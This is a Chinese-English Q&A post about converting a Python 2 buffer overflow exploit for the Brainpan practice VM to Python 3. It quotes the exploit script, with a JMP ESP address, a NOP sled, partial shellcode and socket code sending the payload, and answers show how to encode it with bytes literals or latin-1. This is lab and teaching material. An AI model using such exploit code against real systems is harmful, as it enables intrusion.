使用 python 3 作为缓冲区溢出而不是 Python 2

Using python 3 as a buffer overflow instead of Python 2

我正在尝试使用 python3 而不是 Python 2 将缓冲区溢出推送到 Brainpan。问题是 python3 以不同的方式转换字节。有谁知道如何以简单的方式以 python3 格式推送字节?

python2 代码的示例代码可以在以下位置找到: http://blog.pentests.pl/2014/06/pentest-lab-brainpan-probably-the-fastest.html?m=1

摘自页面:

import sys,socket

eip = "\xf3\x12\x17\x31" #jmp esp address 0x311712f3
buf = "\x90"*10 #nop sled
buf += "\xb8\xeb\x66\xd9\x09\xd9\xce\xd9\x74\x24\xf4\x5e\x33"
buf... {Code snipped}

payload = ("a"*524) + eip + buf

s = socket.socket(socket.AF_INET,socket.SOCK_STREAM)
s.connect('192.168.0.xxx', 9999)

print s.recv(1024)
s.send(payload)
print s.recv(1024)

我已经尝试 s.send(payload.encode()) 各种编码。据我所知,没有任何效果。

尝试使用 bytes literals 例如

eip = b"\xf3\x12\x17\x31"
buf = b"\x90"*10
buf += b"\xb8\xeb\x66\xd9\x09\xd9\xce\xd9\x74\x24\xf4\x5e\x33"

并完全绕过编码的需要。

我有同样的错误,但另外发现 \x7F 之后的任何字符在坏字符测试后都被损坏了; Python 3 似乎在每个字符前随机插入 \xC2\xC3。有效的是在整个过程中使用字节文字或 .encode('latin-1')。有反馈称 latin-1 编码并不总是有效,请参阅 here,但我没有遇到字节文字问题。

编辑:您可能会发现这些也很有用。 Python 3 都使用 Latin-1 编码。 http://www.cis.syr.edu/~wedu/seed/Labs_16.04/Software/Buffer_Overflow/Buffer_Overflow.pdf https://blog.lab26.net/vulnerable-vm-walkthrough-brainpan-1-binary-exploitation/